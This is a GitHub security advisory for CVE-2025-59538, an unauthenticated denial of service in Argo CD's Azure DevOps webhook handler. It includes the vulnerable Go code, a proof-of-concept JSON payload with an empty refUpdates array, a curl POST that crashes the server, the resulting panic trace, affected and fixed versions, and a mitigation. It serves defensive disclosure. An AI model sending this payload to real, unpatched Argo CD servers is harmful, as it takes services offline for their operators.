GitHub Advisoryadvisory · Go
GHSA-gpx4-37g2-c8pv Argo CD Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook
HIGH
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- Aliases
- CVE-2025-59538
- Ecosystem
- Go
- Packages
- github.com/argoproj/argo-cd/v2, github.com/argoproj/argo-cd/v3
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-248, CWE-703
- Reviewed
- 2025-09-30
Affected packages
• Go github.com/argoproj/argo-cd/v2: >= 2.9.0-rc1, < 2.14.20 → fixed in 2.14.20
• Go github.com/argoproj/argo-cd/v3: >= 3.2.0-rc1, < 3.2.0-rc2 → fixed in 3.2.0-rc2
• Go github.com/argoproj/argo-cd/v3: >= 3.1.0-rc1, < 3.1.8 → fixed in 3.1.8
• Go github.com/argoproj/argo-cd/v3: >= 3.0.0-rc1, < 3.0.19 → fixed in 3.0.19
Description
Summary
In the default configuration, `webhook.azuredevops.username` and `webhook.azuredevops.password` not set, Argo CD’s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.
The slice index [0] is accessed without a length check, causing an index-out-of-range panic.
A single unauthenticated HTTP POST is enough to kill the process.
Details
```go
case azuredevops.GitPushEvent:
// util/webhook/webhook.go -- line ≈147
revision = ParseRevision(payload.Resource.RefUpdates[0].Name) // panics if slice empty
change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)
change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)
touchedHead = payload.Resource.RefUpdates[0].Name ==
payload.Resource.Repository.DefaultBranch
```
If the attacker supplies "refUpdates": [], the slice has length 0.
The webhook code has no recover(), so the panic terminates the entire binary.
PoC
payload-azure-empty.json:
```json
{
"eventType": "git.push",
"resource": {
"refUpdates": [],
"repository": {
"remoteUrl": "https://example.com/dummy",
"defaultBranch": "refs/heads/master"
}
}
}
```
curl call:
```shell
curl -k -X POST https://argocd.example.com/api/webhook \
-H 'X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111' \
-H 'Content-Type: application/json' \
--data-binary @payload-azure-empty.json
```
Observed crash:
```
panic: runtime error: index out of range [0] with length 0
goroutine 205 [running]:
github.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo
webhook.go:147 +0x1ea5
...
```
Mitigation
If you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.
If you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.
```diff
apiVersion: v1
kind: Secret
metadata:
name: argocd-secret
type: Opaque
data:
+ webhook.azuredevops.username:
+ webhook.azuredevops.password:
```
For more information
• Open an issue in the Argo CD issue tracker or discussions
• Join us on Slack in channel #argo-cd
Credits
Discovered by Jakub Ciolek at AlphaSense.
Related
Alias · CVE (1)
- CVE-2025-59538 Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. vulnerability
References
- https://github.com/argoproj/argo-cd/security/advisories/GHSA-gpx4-37g2-c8pv web
- https://nvd.nist.gov/vuln/detail/CVE-2025-59538 advisory
- https://github.com/argoproj/argo-cd/commit/1a023f1ca7fe4ec942b4b6696804988d5a632baf web
- https://github.com/argoproj/argo-cd package
- https://pkg.go.dev/vuln/GO-2025-3995 web